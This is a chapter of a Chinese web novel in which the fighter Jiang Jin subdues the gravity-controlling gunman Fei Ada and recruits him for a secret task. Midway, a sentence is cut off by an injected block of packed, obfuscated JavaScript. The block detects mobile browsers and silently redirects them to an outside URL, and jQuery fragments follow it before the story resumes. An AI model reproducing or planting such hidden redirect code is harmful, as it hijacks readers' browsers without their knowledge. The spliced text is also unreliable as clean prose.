江尽站在肥阿达的面前,一动不动。
沙砾与尘土构成的花纹在空中安静流淌着,任何魔法都将被禁止,任何异能都会被无效化,他们所在的这一方小小天地与外界隔绝开来,高个子的男人单手举枪,却久久没有扣下扳机。
“你能帮我一个忙吗?”
一分钟前,江尽问道。
为了表达诚意,江尽甚至乖乖地站在肥阿达面前,任由后者上下打量自己。
同样的不可思议的情况,在一分钟前发生了。
肥阿达举枪,射击——在如此狭小的空间内,又无法使用任何异能,任何人在理论上都无法躲过高速的子弹。
但江尽轻松躲过了。
第一次,她只是以肥阿达肉眼可见的速度——一个及其慢的速度微微侧头,子弹便擦了过去。
第二次,江尽的动作快到肥阿达都没能反应过来——
“还要再来第三次吗?”直到她的声音在耳边响起,肥阿达才意识到自己的攻击已再次落空。
“现在的你还不是我的对手。”江尽不疾不徐地说,没有带任何情绪,只是在平铺直叙地阐述着事实,“无论你再尝试多少次,都只会失败。”
末了,她又补充道:“你已经很强了,只可惜遇见了我。”
强?这句话此刻从任何一个人嘴里说出来,无疑都带着嘲讽的意味,可江尽说得却十分自然,真诚极了。
肥阿达沉默了足足数秒,将还残留着温度枪收了回去。
他当然强。肥阿达知道。
在千奇百怪的异能中,他的异能乍一听十分强悍,可实际上却很鸡肋。
控制重力。
控制的前提,有非常严格的空间限制,以及非常严格的力量限制。
只能在一个极小的范围内进行控制,而且能够扭曲重力的强度仅仅能影响到最轻微的沙尘。
世间不乏强大的能人异士,而他好像注定了不是天选之子。
没关系,他会将自己做到极致。
肥阿达将自己的能力发挥到了极致,精细地控制每一点每一寸——到了极致,就能够凭空绘制出诡异的“禁魔”纹路,这无解的一招出其不意,将许多鲜活的生命都扼杀在了黑洞洞的枪口之下。
他喜欢看这些所谓的天才不可置信地倒下,倒在他的枪下。
人在他眼里,不分高低贵贱,只有两种,活人和死人。
而今天,有一个活人想让他帮忙?
“帮忙?什么笑话?”肥阿达嗤笑一声,只觉得可笑极了,“你让我过来,就为了说这个?”
“也不完全是。”江尽答,“我现在可以杀了你,也可以请你帮忙。我有选择权,你也有。”
肥阿达保持了先前的沉默。
江尽能将他的心思猜到了七七八八,也懒得绕弯子,直接了当说道:“你没有必要和我硬碰到底。你应该猜得到,现在的我和在黑店时的我,虽是一个人,但有点不一样。”
“黑店的我把你引到这来,想借我之手杀掉你;不过我也是在借她之手把你引来,仅此而已。”
“…谁想杀我,我不关心,也不重要。”肥阿达幽幽说,“不过…”
“想让我帮你,你也得看自己配不配得上。”
肥阿达的话音伴随着风声急剧变化,一粒粒沙石在空中刮出了残影,直直向江尽扎去。
肥阿达接受不了这种近乎于羞辱的“怜悯”。
江尽早有准备,无奈地叹了口气。
真是麻烦。她最讨厌麻烦事。
构成纹路的沙尘以刁钻的角度从四面八方向江尽疾疾射去,速度极快,有些沙石离江尽太近了,近到肥阿达都忍不住流露出一丝胜负已分的笑,可笑容还没成形,便僵在了脸上——
脖子上传开冰凉的触感,像激起千层浪的坠石,一块朴素无华的小石子抵在了肥阿达隆起的喉结处,力道刚刚好,不至于太深割伤他,也不至于太浅让他感受不到威胁。
“最后三秒。”
“三…”
江尽握着随手从地上捡来的石子,漫不经心地说。
“二…”
倒计时用数字有些落俗。江尽心想,手上的动作同时深了一点,下次她想换一种倒计时的方式试试。
“一…”
江尽的话被肥阿达从喉咙压出来的低低气流打断了,“好——”如果肥阿达再不说话,恐怕这辈子都没法再说一句话了。
江尽的手臂干脆利落地收了回来。
“我有一个问题。”肥阿达指尖划过苍白的脖子,一抹淡淡的血色在他的指尖一点点绽开,他自顾自地嗅了嗅,“为什么非得让我帮你?”
他随时都能迎接死亡,但不能死得不明不白。
“你最合适。”江尽终于笑了,“有很多种方案,但你来帮我是最省事的。”
“连什么事都还没告诉我,你凭什么这么笃定我会帮你?”肥阿达的声音死沉沉的,却又十分认真。
江尽想了想,没马上回答;她伸出手,轻柔地抚过沙与尘构成的墙,随着它们缓缓流动的速度慢慢迈开小段小段的步伐,在走出约莫一米后,江尽转过头来,反问道,“现在你明白子弹为什么射不中我了吗?”
肥阿达的心跳慢了一拍。
他有一个不敢多想的猜测。
“这个纹路有一个特点——只有流动起来时,才会有效。可我和他保持同样的速度,不就相对静止了吗?这时,纹路的限制就对我无效了。”江尽像不知道肥阿达所想一样,事无巨细地解释着。
可这纹路,不曾存在于7区,江尽却了如指掌。
肥阿达的内心在叫嚣。
这个女人知道,甚至去过——他曾经待的地方。
“如何?”江尽抬了抬下巴。
“我答应你…”
许久,肥阿达的声音才传来,轻得像要在风里散成碎片,下一秒便无影无踪。
江尽并不在意肥阿达的态度和想法,她有点困,抹了一把脸,后知后觉地意识到自己的手是脏的,又甩了甩手。
她背朝肥阿达,站在前面,此刻微微歪了歪头,露出一截雪白而纤细,没有皱纹的脖颈——这个女人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127699|196164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岁数和她行事的不同,她很年轻。
觉醒异能的人也会随着时间一点点老去,并不会被上天优眷——不过年迈的异能者并不多见,除去能力甚微的人,大部分觉醒了异能的人会有更大概率卷进各式各样的离奇事件中,终会折命于此。
肥阿达也不过快三十岁。但他忽然从心底生出好奇——江尽到底经历了什么?
这种鲜活的情绪不应该属于他。
一绺黑发滑过江尽转过来的半张脸,她半似安慰,半似认真:“你会如愿的。”
她在安慰我?肥阿达有些不解,但他的枪先肥阿达一步,发出了一道缓慢而沉重,裹挟着浓浓情绪的共鸣。
“当然,是在帮助我的前提下。”江尽笑了笑,又接着说。
被挟持,或是出于其他原因接受江尽的条件,这些都不重要了。
肥阿达一只手按住了别在腰间的枪,那些纹路像是活了过来,在不断叫嚣,仿佛下一秒就会变成一个独立的个体。肥阿达能做的只能是慢慢地去抚摸,一点一点去安抚。
肥阿达想弄清这一切。
“我需要你做的很简单。”江尽勾了勾手指,示意肥阿达凑近一些。
她用只有他们两个人才能听见的声音向肥阿达讲出了自己的需求。
蝇虫盘旋,嗡嗡作响。
下城区的电路常年因为高负荷的电量,电压十分不稳定;寂静的夜里,五彩的霓虹灯忽地爆了一下,光与影错位、摇晃,将江尽和肥阿达的影子拉得很长很长。
没有人能够听得见他们说了什么,没有任何电子设备能够监听。
肥阿达沉默地跟在江尽身后,一言不发。
“你跟着我干嘛?”江尽有些不解。
是啊,该交代的事情都交代完了,怎么这个人还一直跟着自己?
肥阿达不知道怎么回答,干脆闭了嘴。
江尽忽然想到了一个好笑的可能性:“你不会不知道这段时间去干嘛吧?”
肥阿达被戳中了心思——
江尽麻烦他的事,不需要最近几日去做。他本可以在离开7区之前再随意转转,杀几个他看不惯的人,可一旦有了承诺在身,就像身披枷锁桎梏,万一有个三长两短,意外发生,不能如期赴约,那时又该怎么办?
所以肥阿达才不知道该去哪。
“这样吧。”江尽倒想了好主意,嘴角荡漾出了一个愉悦的弧度——
“7区是个好地方,这里有很多先进的科技,你的枪也可以换几个零件。”
“但是换零件呢,是需要钱的。”
这合情合理,买东西都是要钱的。
“我给你介绍个活儿,你可以赚钱买心仪的东西,顺便把时间也打发了。这不是一举两得?”江尽继续说。
好像有点道理。
肥阿达微微点头,似懂非懂。
在下城区,有很多工作的机会,也有很多给人介绍工作的机会——俗称中介。
就这样,江尽拿着给肥阿达充当中介的回扣,大摇大摆地走在街上,忍不住吹了个口哨,好不自在。